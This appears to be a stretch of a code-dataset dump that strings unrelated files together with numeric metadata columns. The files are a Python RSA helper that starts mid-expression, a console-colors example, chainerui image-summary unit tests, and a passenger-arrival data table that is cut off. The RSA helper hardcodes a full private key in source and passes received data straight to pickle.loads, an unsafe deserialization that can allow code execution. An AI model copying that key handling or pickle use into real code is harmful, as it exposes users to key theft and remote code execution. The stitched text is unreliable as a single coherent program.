93826884143471097839502360104739710163641373835196540536996114343941038663481965299764624368991229179157010915584122601864687388991329003309945794696209407356586127388091988410551664264744279363117866069477617029989341563914422922938572967217343394258086267993562066523436431301438231960986318376598716312076982406425489320752357424371032579443350693454551270667524113071627429326868419212187208497659589094151853937369105614411445753679378782623229570464404945263928260654645569066502318612765582479887075236769919399797031662316563881829588140276645550891994963731619432874929682089321232536985055180565821905258859611645428877092364796799610537825084626186359964430278921802443892944871243765287481031400875227812187825602898578187450661353239785758814907736535384171782695387380381738555236045474276392768636376507493425200119882438681252629074946255555416921358800497854757668592269073116935757668704753095094651507962754013924196310043516921384384300937835383665572199730026113,6865127938694791411071782745185249736677602590818394974350918303804266583465328453182830988895536410254705660080571534242206181248886444529289414291158408275258747137852070220689341689440973577344662748330354697077318988192471665089612057826856344839396349288892845092177848972937456435760053867676283828786807346039928466454567338668337896243293324078258550423406280577200285441330280853539709678114305667552130787651085483338853108294247928679259413229228829503084098168848562535234622763865452097226140036753186011203412093483386429937160333897150510966571789666038551719525440812748439252555594123108674661297893697517530358623034920378628225574527893,77469285476704907601345632814765028947714757323166228286346425048395502606393089794098708586423758905653736282516194292559624926167439481230772660075844603293245145832017564297245754743170490908868110767191789666383255293512999753435327320327344579215269307740047088263619842466676947975191618749280479249007980455012692058695711872913031047732760284053702301440183394417561671678736649609683333446754063573432357189171902723013588375288405359594742545787002194011458620623724924003214548687757653111256126748608950377856940643917162171566746524015075381307837532341607411600581)
# Client Global
__client_initial_public_key__ = rsa.PublicKey(578198453259670039019636013090940026799659645944564293448663722521623793018039481177959591072712284209107030191350694207884016489756822609577941996499949397575929296921489051038414368542686434603376664176981445526502037743840876252191278746897266370061459332403535515451811396994925733720535132744982147586068505821971873258798865594021961248329306231549388276031974828015262677359940070995907518571369799458225210240961089404564929583561051357064078611311733902099186741097402712296230704339907117604010597534325611008238031425356320128600753613520778586235115686880033809224890728375842917474778600479972380925338823045397680964467487039004687134864285191106123357959554154136661786732768518048514262122511763834578241851872618279817023789483996698601334619392788999639316353284947730052428356071935743720461619690928689688343249300613498901784439622466606845797526008676855500010629281793232911499859021035506868506620678196766766520481536598971822308178688601476112109259227361897737886178302914782615469830104071521799015954532551466951306367537884446355613003109742557088605860270464086670142943967318731686168454230523291649582084753674120426473751070138511249918778843922601863177576363717592633458441366881996258624016521969,65537)
__client_initial_private_key__ = rsa.PrivateKey(578198453259670039019636013090940026799659645944564293448663722521623793018039481177959591072712284209107030191350694207884016489756822609577941996499949397575929296921489051038414368542686434603376664176981445526502037743840876252191278746897266370061459332403535515451811396994925733720535132744982147586068505821971873258798865594021961248329306231549388276031974828015262677359940070995907518571369799458225210240961089404564929583561051357064078611311733902099186741097402712296230704339907117604010597534325611008238031425356320128600753613520778586235115686880033809224890728375842917474778600479972380925338823045397680964467487039004687134864285191106123357959554154136661786732768518048514262122511763834578241851872618279817023789483996698601334619392788999639316353284947730052428356071935743720461619690928689688343249300613498901784439622466606845797526008676855500010629281793232911499859021035506868506620678196766766520481536598971822308178688601476112109259227361897737886178302914782615469830104071521799015954532551466951306367537884446355613003109742557088605860270464086670142943967318731686168454230523291649582084753674120426473751070138511249918778843922601863177576363717592633458441366881996258624016521969,65537,577986713892927098681560250326178402669119770278869044306304933908466050505681073750883725070518941596216318551748753065308231568326879772056696431278532506574787616601576395023874155459313309888628033022973060115320017680275986479542964196491762084041631219673662545185078963811718107225436290210446243111617956603366698701553169685233696190881453822230115417667619312873093119640535176635410367642189140056864186620017453502010501423742849955831652075359958849630346536605492224097272718211397149634428586542964642171333722214464632201428523909891920098875766879695006712906443480297214332555689131221928184017116570674551815855207301001881991682881531124437591816735962198671839020860220395173900414774787352988345965981759177358679198671553072447648973752264245982460047766026046251203354769624142868913904995698528189940061956738319104707877387787182773953115228107143302093771634775705091715415478992399185959085890961981421685515321561995620812972485150637978445680775968534630789876056467588139361228435683782637966518479581859714463606997461280578156584116046650966191611237539520678188290886658995818238043314998273653112489929361709385339664790345419473777456433717110966638171541994626650899138846345266095422249598374213,10378395861299891975208895225729177902914259384182029863349146367499264960496493410865409675245610368728334360042451670157061801530765901897048815975999137754774333986237954173352347966122388342084887448984076431972480712663187885315951993596168848449685061688034407421186264746237237054232347994669463350556563855101694002045347537892364388190031333419942839800527419281900518519615434120466898271257726766074310403475035646401323398267962548654224301719725220896979621498346837669426654927445539810734951812055474446724988242143678003275928328166623450957290490760426357733598759089699431145276560498969583215206739524490972586702988359273402306595868439,55711736282455774441920112196894939000627866282745915915387274486389176865710594317238417580627083778940757304973874366531516836256537216494826287481116989092619188610713630983396051238535543471582979517311255578177375810365884629244194223966216629073115011811513725687918153762706254113624502383136601522492509532308495110968086984258584152496786309290479744034686447316012919120567688179389139075940763055775420412133799788303866532699253075888670230097111423584851849739741169747164195149856055473470700238971351428854969715949373809373527633433544909002220247077647966825271)
def get_key(key: str):
key = key[10:-1]
key_numeric = [i for i in map(int, key.split(','))]
return rsa.PublicKey(key_numeric[0], key_numeric[1])
def encrypt_data(plain_text, public_key):
encrypted = list()
offset = 0
chun_size = 116
end_loop = False
while not end_loop:
chunk = plain_text[offset: offset + chun_size]
if len(chunk) % chun_size != 0:
end_loop = True
enc_chunk = rsa.encrypt(chunk.encode(), public_key)
offset += chun_size
encrypted.append(enc_chunk)
return pickle.dumps(encrypted)
def decrypt_data(crypt_text):
encrypted = pickle.loads(crypt_text)
decrypted_text = ''
for chunk in encrypted:
decrypted_text += rsa.decrypt(chunk, __server_private_key__).decode()
return decrypted_text | 215.509804 | 3,758 | 0.967883 | 158 | 10,991 | 66.974684 | 0.405063 | 0.003402 | 0.003024 | 0.004347 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.919859 | 0.021381 | 10,991 | 51 | 3,759 | 215.509804 | 0.063964 | 0.005186 | 0 | 0 | 0 | 0 | 0.114537 | 0.113805 | 0 | 1 | 0 | 0 | 0 | 1 | 0.103448 | false | 0 | 0.068966 | 0 | 0.275862 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a0376dfb3e830b563293d8632aed8b30bcf83f0a | 46 | py | Python | example.py | TrueSlu/smallConsoleColors | ff7a1884af6f3c9b273949c7b8805139344289dd | [
"MIT"
] | null | null | null | example.py | TrueSlu/smallConsoleColors | ff7a1884af6f3c9b273949c7b8805139344289dd | [
"MIT"
] | null | null | null | example.py | TrueSlu/smallConsoleColors | ff7a1884af6f3c9b273949c7b8805139344289dd | [
"MIT"
] | null | null | null | from colors import *
print(R + "Hello!" + W)
| 11.5 | 23 | 0.608696 | 7 | 46 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.217391 | 46 | 3 | 24 | 15.333333 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0.130435 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
a06dbc3a0b48a8256aefcb1dc9c38aceea9eac46 | 4,799 | py | Python | tests/test_summary.py | disktnk/chainerui | 9c71c3e07dcc6960519001212583fe37fce660f4 | [
"MIT"
] | 1 | 2018-12-25T16:04:20.000Z | 2018-12-25T16:04:20.000Z | tests/test_summary.py | yutiansut/chainerui | 058f00ec2b9a8a6ccd4f2b2f2bfc80869b771ea1 | [
"MIT"
] | null | null | null | tests/test_summary.py | yutiansut/chainerui | 058f00ec2b9a8a6ccd4f2b2f2bfc80869b771ea1 | [
"MIT"
] | null | null | null | import unittest
import chainer
import numpy as np
from chainerui import summary
class TestImage(unittest.TestCase):
def tearDown(self):
summary.chainerui_image_observer.observation = {}
def test_image_error(self):
img = np.zeros(10)
with self.assertRaises(ValueError) as e:
summary.image(img, 'test', batched=False)
assert 'must be 2 or 3' in str(e.exception)
img = np.zeros(10).reshape(2, 5)
with self.assertRaises(ValueError) as e:
summary.image(img, 'test')
assert 'must be 3 or 4' in str(e.exception)
def test_image_bchw(self):
observer = summary.chainerui_image_observer
# unstuck
img = np.zeros(10*3*5*5).reshape((10, 3, 5, 5))
summary.image(img, 'test')
assert len(observer.observation) == 1
key = summary.CHAINERUI_IMAGE_PREFIX+'/test'
assert key in observer.observation
expected_img = np.zeros(10*3*5*5).reshape((50, 5, 3))
assert np.allclose(observer.observation[key]['image'], expected_img)
# stuck, overwrite
img2 = np.zeros(10*3*5*5).reshape((10, 3, 5, 5))
img2[0, 0, 0, 0] = 10
summary.image(img2, 'test', row=2)
assert len(observer.observation) == 1
expected_img2 = np.zeros(10*3*5*5).reshape((10, 25, 3))
expected_img2[0, 0, 0] = 10
assert np.allclose(observer.observation[key]['image'], expected_img2)
def test_image_bhwc(self):
observer = summary.chainerui_image_observer
# unstuck
img = np.zeros(10*5*5*3).reshape((10, 5, 5, 3))
summary.image(img, 'test', ch_axis=-1)
assert len(observer.observation) == 1
key = summary.CHAINERUI_IMAGE_PREFIX+'/test'
assert key in observer.observation
expected_img = np.zeros(10*3*5*5).reshape((50, 5, 3))
assert np.allclose(observer.observation[key]['image'], expected_img)
# stuck
img2 = np.zeros(10*5*5*3).reshape((10, 5, 5, 3))
img2[0, 0, 0, 0] = 10
summary.image(img2, 'test2', ch_axis=-1, row=2)
assert len(observer.observation) == 2
key2 = summary.CHAINERUI_IMAGE_PREFIX+'/test2'
assert key2 in observer.observation
expected_img2 = np.zeros(10*5*5*3).reshape((10, 25, 3))
expected_img2[0, 0, 0] = 10
assert np.allclose(observer.observation[key2]['image'], expected_img2)
def test_image_bhw_no_name(self):
observer = summary.chainerui_image_observer
# unstuck
img = np.zeros(10*5*5).reshape((10, 5, 5))
summary.image(img)
assert len(observer.observation) == 1
key = summary.CHAINERUI_IMAGE_PREFIX+'/0'
assert key in observer.observation
expected_img = np.zeros(10*5*5).reshape((50, 5))
assert np.allclose(observer.observation[key]['image'], expected_img)
# stuck
img2 = np.zeros(10*5*5).reshape((10, 5, 5))
img2[0, 0, 0] = 10
summary.image(img2, row=2)
assert len(observer.observation) == 1
expected_img2 = np.zeros(10*5*5).reshape((10, 25))
expected_img2[0, 0] = 10
assert np.allclose(observer.observation[key]['image'], expected_img2)
def test_image_chw(self):
observer = summary.chainerui_image_observer
img = np.zeros(3*5*5).reshape((3, 5, 5))
img = chainer.Variable(img)
summary.image(img, 'test', ch_axis=0, batched=False)
assert len(observer.observation) == 1
key = summary.CHAINERUI_IMAGE_PREFIX+'/test'
assert key in observer.observation
expected_img = np.zeros(5*5*3).reshape((5, 5, 3))
assert np.allclose(observer.observation[key]['image'], expected_img)
assert 'mode' not in observer.observation[key]
def test_image_hwc_hsv(self):
observer = summary.chainerui_image_observer
img = np.zeros(5*5*3).reshape((5, 5, 3))
img = chainer.Variable(img)
summary.image(img, 'test', batched=False, ch_axis=-1, mode='HSV')
assert len(observer.observation) == 1
key = summary.CHAINERUI_IMAGE_PREFIX+'/test'
assert key in observer.observation
assert np.allclose(observer.observation[key]['image'], img.data)
assert 'mode' in observer.observation[key]
assert observer.observation[key]['mode'] == 'hsv'
def test_image_hw(self):
observer = summary.chainerui_image_observer
img = np.zeros(5*10).reshape((5, 10))
img = chainer.Variable(img)
summary.image(img, 'test', batched=False)
assert len(observer.observation) == 1
key = summary.CHAINERUI_IMAGE_PREFIX+'/test'
assert key in observer.observation
assert np.allclose(observer.observation[key]['image'], img.data)
| 38.087302 | 78 | 0.624713 | 655 | 4,799 | 4.476336 | 0.109924 | 0.187926 | 0.100273 | 0.085948 | 0.802865 | 0.787517 | 0.754775 | 0.735675 | 0.718281 | 0.667804 | 0 | 0.058727 | 0.240675 | 4,799 | 125 | 79 | 38.392 | 0.745884 | 0.010836 | 0 | 0.494845 | 0 | 0 | 0.033966 | 0 | 0 | 0 | 0 | 0 | 0.329897 | 1 | 0.082474 | false | 0 | 0.041237 | 0 | 0.134021 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
262252225579dd44d3aaf28e322443b2f809015d | 37,803 | py | Python | instances/passenger_demand/pas-20210421-2109-int8e-1/2.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null | instances/passenger_demand/pas-20210421-2109-int8e-1/2.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null | instances/passenger_demand/pas-20210421-2109-int8e-1/2.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null |
"""
PASSENGERS
"""
numPassengers = 1808
passenger_arriving = (
(0, 6, 3, 3, 0, 0, 7, 1, 4, 3, 1, 0), # 0
(2, 4, 4, 0, 1, 0, 1, 2, 0, 3, 1, 0), # 1
(2, 6, 2, 0, 1, 0, 3, 1, 2, 1, 0, 0), # 2
(5, 4, 1, 3, 2, 0, 3, 9, 2, 2, 0, 0), # 3
(3, 3, 3, 0, 1, 0, 2, 7, 5, 3, 0, 0), # 4
(5, 4, 3, 1, 1, 0, 6, 6, 1, 1, 1, 0), # 5
(4, 5, 5, 2, 1, 0, 7, 6, 5, 2, 0, 0), # 6
(1, 5, 2, 2, 4, 0, 7, 8, 6, 1, 1, 0), # 7
(3, 5, 4, 2, 0, 0, 7, 6, 7, 2, 2, 0), # 8
(5, 5, 7, 0, 1, 0, 4, 5, 5, 5, 0, 0), # 9
(3, 1, 3, 0, 2, 0, 6, 5, 4, 3, 2, 0), # 10
(4, 4, 2, 1, 1, 0, 8, 9, 3, 3, 3, 0), # 11
(3, 6, 3, 7, 0, 0, 4, 5, 1, 3, 1, 0), # 12
(5, 10, 1, 1, 2, 0, 4, 7, 2, 2, 2, 0), # 13
(0, 2, 7, 0, 1, 0, 3, 3, 1, 4, 0, 0), # 14
(0, 5, 3, 1, 1, 0, 4, 10, 1, 4, 1, 0), # 15
(2, 6, 8, 0, 1, 0, 3, 3, 2, 4, 1, 0), # 16
(1, 7, 5, 6, 0, 0, 3, 9, 4, 2, 1, 0), # 17
(0, 5, 2, 1, 0, 0, 5, 10, 2, 3, 2, 0), # 18
(1, 3, 3, 0, 2, 0, 3, 2, 3, 2, 1, 0), # 19
(3, 7, 1, 2, 0, 0, 3, 4, 1, 3, 0, 0), # 20
(2, 7, 3, 4, 3, 0, 3, 5, 1, 4, 1, 0), # 21
(1, 6, 4, 1, 1, 0, 1, 5, 3, 1, 1, 0), # 22
(2, 9, 6, 1, 1, 0, 3, 3, 5, 1, 4, 0), # 23
(1, 7, 3, 5, 0, 0, 4, 5, 1, 6, 4, 0), # 24
(1, 4, 3, 1, 2, 0, 4, 3, 7, 5, 0, 0), # 25
(5, 4, 3, 2, 0, 0, 7, 11, 3, 1, 0, 0), # 26
(6, 5, 2, 2, 0, 0, 3, 5, 3, 1, 1, 0), # 27
(2, 5, 4, 1, 0, 0, 2, 2, 2, 1, 2, 0), # 28
(2, 4, 7, 2, 0, 0, 10, 5, 4, 2, 2, 0), # 29
(1, 7, 4, 2, 1, 0, 4, 2, 4, 2, 4, 0), # 30
(1, 5, 2, 2, 0, 0, 6, 6, 4, 7, 3, 0), # 31
(3, 7, 4, 1, 1, 0, 1, 8, 3, 1, 3, 0), # 32
(1, 1, 3, 1, 2, 0, 3, 6, 7, 5, 2, 0), # 33
(3, 8, 6, 3, 1, 0, 5, 6, 5, 2, 3, 0), # 34
(6, 8, 0, 4, 2, 0, 4, 3, 4, 1, 2, 0), # 35
(4, 10, 5, 2, 1, 0, 2, 5, 3, 2, 2, 0), # 36
(6, 4, 0, 2, 1, 0, 4, 5, 1, 3, 1, 0), # 37
(3, 3, 7, 2, 0, 0, 6, 1, 3, 2, 0, 0), # 38
(3, 4, 6, 3, 1, 0, 5, 3, 5, 1, 0, 0), # 39
(1, 3, 7, 3, 0, 0, 4, 8, 4, 2, 1, 0), # 40
(1, 8, 3, 0, 2, 0, 6, 6, 5, 2, 2, 0), # 41
(2, 10, 5, 2, 0, 0, 1, 5, 3, 1, 0, 0), # 42
(3, 4, 4, 1, 1, 0, 3, 4, 8, 2, 1, 0), # 43
(2, 5, 3, 0, 0, 0, 1, 2, 2, 2, 1, 0), # 44
(2, 6, 6, 3, 1, 0, 4, 2, 3, 1, 0, 0), # 45
(2, 7, 3, 4, 1, 0, 3, 3, 1, 2, 1, 0), # 46
(10, 4, 1, 1, 0, 0, 2, 6, 3, 1, 1, 0), # 47
(4, 5, 4, 3, 2, 0, 4, 6, 2, 5, 2, 0), # 48
(1, 2, 4, 2, 1, 0, 2, 1, 4, 2, 0, 0), # 49
(2, 5, 8, 0, 0, 0, 5, 5, 2, 0, 1, 0), # 50
(2, 2, 5, 3, 1, 0, 7, 4, 4, 3, 1, 0), # 51
(5, 6, 2, 2, 0, 0, 3, 7, 4, 2, 0, 0), # 52
(4, 5, 3, 2, 3, 0, 3, 6, 6, 4, 2, 0), # 53
(3, 5, 6, 2, 0, 0, 2, 8, 6, 3, 0, 0), # 54
(5, 8, 7, 1, 2, 0, 2, 4, 2, 5, 2, 0), # 55
(1, 6, 7, 2, 2, 0, 2, 6, 5, 2, 0, 0), # 56
(4, 3, 4, 3, 1, 0, 3, 3, 3, 0, 1, 0), # 57
(3, 3, 4, 0, 1, 0, 3, 5, 4, 1, 1, 0), # 58
(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0), # 59
)
station_arriving_intensity = (
(2.1197212467076385, 5.437168560606061, 6.39538881748072, 5.069021739130434, 5.714423076923077, 3.805434782608696), # 0
(2.13961760803824, 5.497633278970259, 6.429932430019996, 5.097251509661836, 5.757253205128205, 3.8041377113526575), # 1
(2.159286781777387, 5.5572011223344555, 6.4636560982576405, 5.124859903381643, 5.7991794871794875, 3.802800966183575), # 2
(2.178712071992976, 5.615807812500001, 6.496535186375322, 5.151823369565217, 5.840163461538463, 3.80142472826087), # 3
(2.1978767827529024, 5.673389071268239, 6.528545058554698, 5.178118357487923, 5.880166666666668, 3.800009178743961), # 4
(2.216764218125061, 5.729880620440517, 6.559661078977435, 5.203721316425121, 5.919150641025641, 3.7985544987922704), # 5
(2.235357682177349, 5.785218181818182, 6.5898586118251945, 5.2286086956521745, 5.957076923076923, 3.7970608695652177), # 6
(2.253640478977661, 5.839337477202581, 6.6191130212796345, 5.252756944444445, 5.9939070512820525, 3.7955284722222227), # 7
(2.2715959125938934, 5.892174228395061, 6.6473996715224235, 5.2761425120772945, 6.029602564102564, 3.7939574879227056), # 8
(2.289207287093942, 5.94366415719697, 6.67469392673522, 5.298741847826087, 6.064125, 3.7923480978260873), # 9
(2.306457906545703, 5.993742985409653, 6.700971151099686, 5.320531400966185, 6.097435897435898, 3.790700483091787), # 10
(2.3233310750170717, 6.042346434834457, 6.726206708797486, 5.341487620772948, 6.129496794871795, 3.7890148248792275), # 11
(2.339810096575944, 6.089410227272727, 6.750375964010283, 5.361586956521739, 6.160269230769231, 3.787291304347826), # 12
(2.355878275290215, 6.134870084525815, 6.7734542809197364, 5.380805857487923, 6.189714743589745, 3.7855301026570047), # 13
(2.371518915227783, 6.178661728395063, 6.795417023707511, 5.399120772946859, 6.2177948717948714, 3.7837314009661833), # 14
(2.3867153204565406, 6.220720880681817, 6.816239556555269, 5.416508152173913, 6.244471153846154, 3.781895380434783), # 15
(2.401450795044386, 6.2609832631874305, 6.835897243644673, 5.432944444444445, 6.269705128205128, 3.7800222222222226), # 16
(2.415708643059214, 6.299384597713243, 6.854365449157384, 5.448406099033817, 6.293458333333334, 3.778112107487923), # 17
(2.4294721685689202, 6.335860606060606, 6.871619537275065, 5.462869565217392, 6.315692307692309, 3.7761652173913043), # 18
(2.4427246756414007, 6.370347010030864, 6.887634872179378, 5.476311292270531, 6.33636858974359, 3.7741817330917877), # 19
(2.455449468344552, 6.402779531425364, 6.902386818051984, 5.4887077294686, 6.355448717948718, 3.772161835748792), # 20
(2.467629850746269, 6.433093892045453, 6.915850739074552, 5.500035326086957, 6.37289423076923, 3.7701057065217394), # 21
(2.479249126914447, 6.461225813692481, 6.9280019994287345, 5.510270531400966, 6.388666666666666, 3.7680135265700487), # 22
(2.4902906009169836, 6.48711101816779, 6.938815963296202, 5.519389794685991, 6.402727564102564, 3.765885477053141), # 23
(2.5007375768217734, 6.510685227272727, 6.948267994858611, 5.527369565217391, 6.415038461538462, 3.763721739130435), # 24
(2.5105733586967123, 6.531884162808642, 6.95633345829763, 5.534186292270532, 6.425560897435897, 3.761522493961353), # 25
(2.5197812506096966, 6.550643546576879, 6.962987717794916, 5.539816425120772, 6.43425641025641, 3.759287922705314), # 26
(2.5283445566286216, 6.566899100378787, 6.968206137532133, 5.544236413043479, 6.44108653846154, 3.7570182065217397), # 27
(2.5362465808213837, 6.580586546015713, 6.971964081690946, 5.54742270531401, 6.44601282051282, 3.7547135265700486), # 28
(2.5434706272558776, 6.591641605289002, 6.974236914453013, 5.54935175120773, 6.448996794871795, 3.752374064009662), # 29
(2.5500000000000003, 6.6000000000000005, 6.9750000000000005, 5.550000000000001, 6.45, 3.75), # 30
(2.5561096227621487, 6.606943039772727, 6.974427958937198, 5.549882924836602, 6.449634929078015, 3.7467010078294187), # 31
(2.562087340153453, 6.613794318181819, 6.972728019323672, 5.549533986928104, 6.448547517730496, 3.7416198067632855), # 32
(2.5679358375959076, 6.620552982954546, 6.96992445652174, 5.548956617647059, 6.446749468085106, 3.734806146926536), # 33
(2.573657800511509, 6.627218181818183, 6.96604154589372, 5.548154248366014, 6.444252482269504, 3.7263097784441115), # 34
(2.5792559143222507, 6.633789062499999, 6.961103562801933, 5.547130310457517, 6.441068262411348, 3.7161804514409464), # 35
(2.584732864450128, 6.640264772727274, 6.955134782608695, 5.545888235294118, 6.437208510638299, 3.7044679160419793), # 36
(2.5900913363171356, 6.646644460227273, 6.9481594806763285, 5.544431454248366, 6.432684929078014, 3.691221922372147), # 37
(2.5953340153452684, 6.652927272727273, 6.94020193236715, 5.54276339869281, 6.427509219858156, 3.676492220556388), # 38
(2.600463586956522, 6.6591123579545455, 6.931286413043478, 5.5408875, 6.421693085106383, 3.66032856071964), # 39
(2.60548273657289, 6.665198863636364, 6.9214371980676335, 5.538807189542484, 6.415248226950354, 3.6427806929868396), # 40
(2.6103941496163685, 6.671185937499999, 6.910678562801933, 5.536525898692811, 6.408186347517731, 3.623898367482926), # 41
(2.6152005115089514, 6.677072727272729, 6.899034782608696, 5.534047058823529, 6.400519148936171, 3.6037313343328337), # 42
(2.6199045076726346, 6.682858380681818, 6.8865301328502415, 5.53137410130719, 6.392258333333333, 3.5823293436615025), # 43
(2.624508823529412, 6.688542045454546, 6.8731888888888895, 5.52851045751634, 6.38341560283688, 3.5597421455938694), # 44
(2.6290161445012785, 6.694122869318182, 6.859035326086958, 5.525459558823529, 6.374002659574469, 3.5360194902548727), # 45
(2.6334291560102305, 6.699600000000001, 6.844093719806764, 5.522224836601307, 6.36403120567376, 3.511211127769449), # 46
(2.637750543478261, 6.7049725852272735, 6.828388345410628, 5.5188097222222225, 6.3535129432624124, 3.4853668082625355), # 47
(2.641982992327366, 6.710239772727274, 6.811943478260869, 5.515217647058823, 6.342459574468085, 3.4585362818590712), # 48
(2.6461291879795397, 6.7154007102272715, 6.794783393719808, 5.511452042483661, 6.33088280141844, 3.430769298683991), # 49
(2.6501918158567777, 6.720454545454544, 6.776932367149759, 5.507516339869282, 6.318794326241135, 3.4021156088622355), # 50
(2.6541735613810746, 6.725400426136364, 6.758414673913044, 5.503413970588236, 6.3062058510638295, 3.3726249625187408), # 51
(2.6580771099744247, 6.7302375, 6.73925458937198, 5.499148366013072, 6.293129078014185, 3.3423471097784443), # 52
(2.6619051470588238, 6.734964914772728, 6.719476388888889, 5.49472295751634, 6.279575709219859, 3.3113318007662835), # 53
(2.6656603580562663, 6.739581818181818, 6.699104347826086, 5.490141176470589, 6.265557446808511, 3.2796287856071964), # 54
(2.6693454283887466, 6.7440873579545455, 6.6781627415458935, 5.485406454248366, 6.251085992907802, 3.2472878144261204), # 55
(2.6729630434782607, 6.748480681818181, 6.6566758454106285, 5.4805222222222225, 6.236173049645391, 3.214358637347993), # 56
(2.6765158887468035, 6.7527609375000015, 6.634667934782609, 5.475491911764706, 6.220830319148936, 3.180891004497751), # 57
(2.6800066496163684, 6.756927272727272, 6.612163285024154, 5.470318954248366, 6.205069503546099, 3.1469346660003334), # 58
(0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 59
)
passenger_arriving_acc = (
(0, 6, 3, 3, 0, 0, 7, 1, 4, 3, 1, 0), # 0
(2, 10, 7, 3, 1, 0, 8, 3, 4, 6, 2, 0), # 1
(4, 16, 9, 3, 2, 0, 11, 4, 6, 7, 2, 0), # 2
(9, 20, 10, 6, 4, 0, 14, 13, 8, 9, 2, 0), # 3
(12, 23, 13, 6, 5, 0, 16, 20, 13, 12, 2, 0), # 4
(17, 27, 16, 7, 6, 0, 22, 26, 14, 13, 3, 0), # 5
(21, 32, 21, 9, 7, 0, 29, 32, 19, 15, 3, 0), # 6
(22, 37, 23, 11, 11, 0, 36, 40, 25, 16, 4, 0), # 7
(25, 42, 27, 13, 11, 0, 43, 46, 32, 18, 6, 0), # 8
(30, 47, 34, 13, 12, 0, 47, 51, 37, 23, 6, 0), # 9
(33, 48, 37, 13, 14, 0, 53, 56, 41, 26, 8, 0), # 10
(37, 52, 39, 14, 15, 0, 61, 65, 44, 29, 11, 0), # 11
(40, 58, 42, 21, 15, 0, 65, 70, 45, 32, 12, 0), # 12
(45, 68, 43, 22, 17, 0, 69, 77, 47, 34, 14, 0), # 13
(45, 70, 50, 22, 18, 0, 72, 80, 48, 38, 14, 0), # 14
(45, 75, 53, 23, 19, 0, 76, 90, 49, 42, 15, 0), # 15
(47, 81, 61, 23, 20, 0, 79, 93, 51, 46, 16, 0), # 16
(48, 88, 66, 29, 20, 0, 82, 102, 55, 48, 17, 0), # 17
(48, 93, 68, 30, 20, 0, 87, 112, 57, 51, 19, 0), # 18
(49, 96, 71, 30, 22, 0, 90, 114, 60, 53, 20, 0), # 19
(52, 103, 72, 32, 22, 0, 93, 118, 61, 56, 20, 0), # 20
(54, 110, 75, 36, 25, 0, 96, 123, 62, 60, 21, 0), # 21
(55, 116, 79, 37, 26, 0, 97, 128, 65, 61, 22, 0), # 22
(57, 125, 85, 38, 27, 0, 100, 131, 70, 62, 26, 0), # 23
(58, 132, 88, 43, 27, 0, 104, 136, 71, 68, 30, 0), # 24
(59, 136, 91, 44, 29, 0, 108, 139, 78, 73, 30, 0), # 25
(64, 140, 94, 46, 29, 0, 115, 150, 81, 74, 30, 0), # 26
(70, 145, 96, 48, 29, 0, 118, 155, 84, 75, 31, 0), # 27
(72, 150, 100, 49, 29, 0, 120, 157, 86, 76, 33, 0), # 28
(74, 154, 107, 51, 29, 0, 130, 162, 90, 78, 35, 0), # 29
(75, 161, 111, 53, 30, 0, 134, 164, 94, 80, 39, 0), # 30
(76, 166, 113, 55, 30, 0, 140, 170, 98, 87, 42, 0), # 31
(79, 173, 117, 56, 31, 0, 141, 178, 101, 88, 45, 0), # 32
(80, 174, 120, 57, 33, 0, 144, 184, 108, 93, 47, 0), # 33
(83, 182, 126, 60, 34, 0, 149, 190, 113, 95, 50, 0), # 34
(89, 190, 126, 64, 36, 0, 153, 193, 117, 96, 52, 0), # 35
(93, 200, 131, 66, 37, 0, 155, 198, 120, 98, 54, 0), # 36
(99, 204, 131, 68, 38, 0, 159, 203, 121, 101, 55, 0), # 37
(102, 207, 138, 70, 38, 0, 165, 204, 124, 103, 55, 0), # 38
(105, 211, 144, 73, 39, 0, 170, 207, 129, 104, 55, 0), # 39
(106, 214, 151, 76, 39, 0, 174, 215, 133, 106, 56, 0), # 40
(107, 222, 154, 76, 41, 0, 180, 221, 138, 108, 58, 0), # 41
(109, 232, 159, 78, 41, 0, 181, 226, 141, 109, 58, 0), # 42
(112, 236, 163, 79, 42, 0, 184, 230, 149, 111, 59, 0), # 43
(114, 241, 166, 79, 42, 0, 185, 232, 151, 113, 60, 0), # 44
(116, 247, 172, 82, 43, 0, 189, 234, 154, 114, 60, 0), # 45
(118, 254, 175, 86, 44, 0, 192, 237, 155, 116, 61, 0), # 46
(128, 258, 176, 87, 44, 0, 194, 243, 158, 117, 62, 0), # 47
(132, 263, 180, 90, 46, 0, 198, 249, 160, 122, 64, 0), # 48
(133, 265, 184, 92, 47, 0, 200, 250, 164, 124, 64, 0), # 49
(135, 270, 192, 92, 47, 0, 205, 255, 166, 124, 65, 0), # 50
(137, 272, 197, 95, 48, 0, 212, 259, 170, 127, 66, 0), # 51
(142, 278, 199, 97, 48, 0, 215, 266, 174, 129, 66, 0), # 52
